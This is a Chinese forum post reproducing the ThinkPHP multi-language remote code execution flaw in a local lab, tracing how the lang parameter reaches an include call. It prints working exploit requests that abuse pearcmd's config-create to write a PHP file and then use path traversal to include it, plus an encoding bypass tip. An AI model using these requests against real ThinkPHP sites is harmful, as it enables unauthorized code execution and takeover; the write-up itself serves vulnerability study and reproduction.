首页
社区
课程
招聘
[原创]ThinkPHP多语言rce复现分析
发表于: 2023-3-31 17:12 11148

[原创]ThinkPHP多语言rce复现分析

2023-3-31 17:12
11148

前言

前段时间爆出的ThinkPHP多语言rce很有意思,最近刚好有时间就学习一下。


漏洞信息

利用条件:

1.安装并已知pearcmd.php的文件位置。(默认位置 /usr/local/lib/php/pearcmd.php,Docker版本的镜像中pear默认安装)

2.需要开启php.ini中register_argc_argv选项。(docker的PHP镜像是默认开启的)

3.thinkphp开启多语言功能

影响范围

6.0.1 < ThinkPHP≤ 6.0.13

5.0.0 < ThinkPHP≤ 5.0.12

5.1.0 < ThinkPHP≤ 5.1.8


环境搭建

下载源码:848K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6@1L8%4m8Q4x3X3c8@1K9r3W2F1K9#2)9J5c8Y4c8Z5K9h3&6C8

以v6.0.12为例下载解压

修改composer.json中“require”部分

    "require": {        
    "php": ">=7.2.5",        
    "topthink/framework": "6.0.12",        
    "topthink/think-orm": "^2.0"
    },

    执行命令:composer install 安装完成

    打开多语言功能:app/middleware.php。中取消注释

    •  \think\middleware\LoadLangPack::class,


    安装pear:

    1、下载  go-pear.phar   59fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8W2j5i4u0Q4x3X3g2H3K9s2m8Q4x3X3g2F1k6i4c8Q4x3V1k6Y4L8#2)9J5k6s2m8W2j5i4u0Q4x3X3g2H3K9r3q4J5

    2、执行 php go-pear.phar 设置1-12选项路径,安装。

    或使用docker

      docker run --name tp123 -p 8005:80 -d vulfocus/thinkphp:6.0.12



      漏洞分析

      首先看LoadLangPack这个类,handle()函数 中先调用detect()方法在请求中检查是否有参数设置语言

      图片

      多个判断中检查了get、header、cookie等位置,config['allow_lang_list']默认为空情况下,$langSet赋给$range并返回

      图片

      又回到handle()中$this->lang->switchLangSet($langset); 执行

      参数传入该函数内,拼接:thinkphp路径/lang/ + 用户参数$langset + .php。后传进load()函数

      图片

      跟进load函数,发现参数传进load函数中,在167行又被传到parse函数内

      图片

      而parse函数直接用include对$file进行包含,也是漏洞触发点。

      从上边流程看出从获取参数到传入parse() 内都未对内容进行过滤。


      漏洞复现

      测试环境:macos 、php7.3、apache2.4

      图片

      1.首先测试是否存在pearcmd,当返回如下图信息就代表pearcmd存在

        af2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8W2)9K6c8X3I4S2L8X3N6Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6#2M7%4u0Q4x3V1k6D9L8$3y4S2L8q4)9J5c8X3I4A6j5W2)9J5c8Y4m8Z5M7q4)9J5c8Y4m8W2j5i4u0U0L8h3b7`.

        图片

        路径要修改指向你当前环境中 pearcmd.php 的位置。

        如图,我当前环境pearcmd安装路径为

        “/usr/local/pear/share/pear/pearcmd.php”。

        2.先来了解如何利用pear

        当开启register_argc_argv时,提交的参数都会传入 $_SERVER[‘argv’]变量内

        图片

        可见&是无法分割参数的,会被当作一个整体。等号无法赋值,会被直接传进参数

        当使用+号分割,将会作为数组,而pear执行是通过 readPHPArgv()来获取argv内容。

        图片

        对应如下命令:

        pear config-create /xxxxxxx1 /tmp/test.php

        config-create命令用法,第一个参数为要写入内容,第二参数为要写入路径

        图片

        3.使用poc测试,在/tmp 目录下写入admin.php文件。

          /index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+/tmp/admin.php


          注:测试时发现通过get方式提交时  尖括号会被浏览器url编码为 %3C?=phpinfo();?%3E ,并将编码后内容%3c,%3e写入文件,在解析php文件时找不到有效 <?php 标记 ,文件将无法解析。

          图片

          用burp修改,正确写入后的响应如下:

          图片

          此时文件已正确写入/tmp目录下,说明

          “ /&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/ ”部分被正常解析为get请求。

          当成功包含pearcmd文件时,才能利用pear写入文件

          图片

          也可正常方式写:

            e31K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4g2J5L8q4)9J5c8W2)9K6c8X3I4S2L8X3N6Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6Q4x3X3g2Q4x3X3g2Q4x3V1k6#2M7%4u0Q4x3V1k6D9L8$3y4S2L8q4)9J5c8Y4m8W2j5i4u0Q4x3V1k6K6K9r3q4J5k6g2)9J5c8Y4m8W2j5i4u0Q4x3V1k6H3k6h3q4J5j5$3#2V1i4K6t1$3j5h3#2H3i4K6y4n7i4K6u0n7j5$3!0F1k6X3W2Y4i4K6u0V1j5%4u0W2j5i4c8W2i4K6u0n7i4K6u0r3i4K6t1$3L8s2c8Q4x3@1u0Q4x3@1k6Q4x3@1c8H3K9s2m8A6L8X3k6G2i4K6t1^5i4K6t1&6i4K6y4r3i4K6t1$3k6%4c8Q4x3@1u0Q4x3V1u0Q4x3V1k6@1L8i4m8Q4x3V1k6Z5k6h3I4D9L8#2)9J5k6i4m8Z5M7l9`.`.


            图片

            4.利用文件包含,解析文件

              /index.php?lang=../../../../../../../../tmp/admin


              再次利用文件包含去访问我们写入的文件。

              图片

              成功解析文件。

              当然不止config-create,还可以用Install命令下载



              [培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

              收藏
              免费 2
              支持
              分享
              最新回复 (0)
              游客
              登录 | 注册 方可回帖
              返回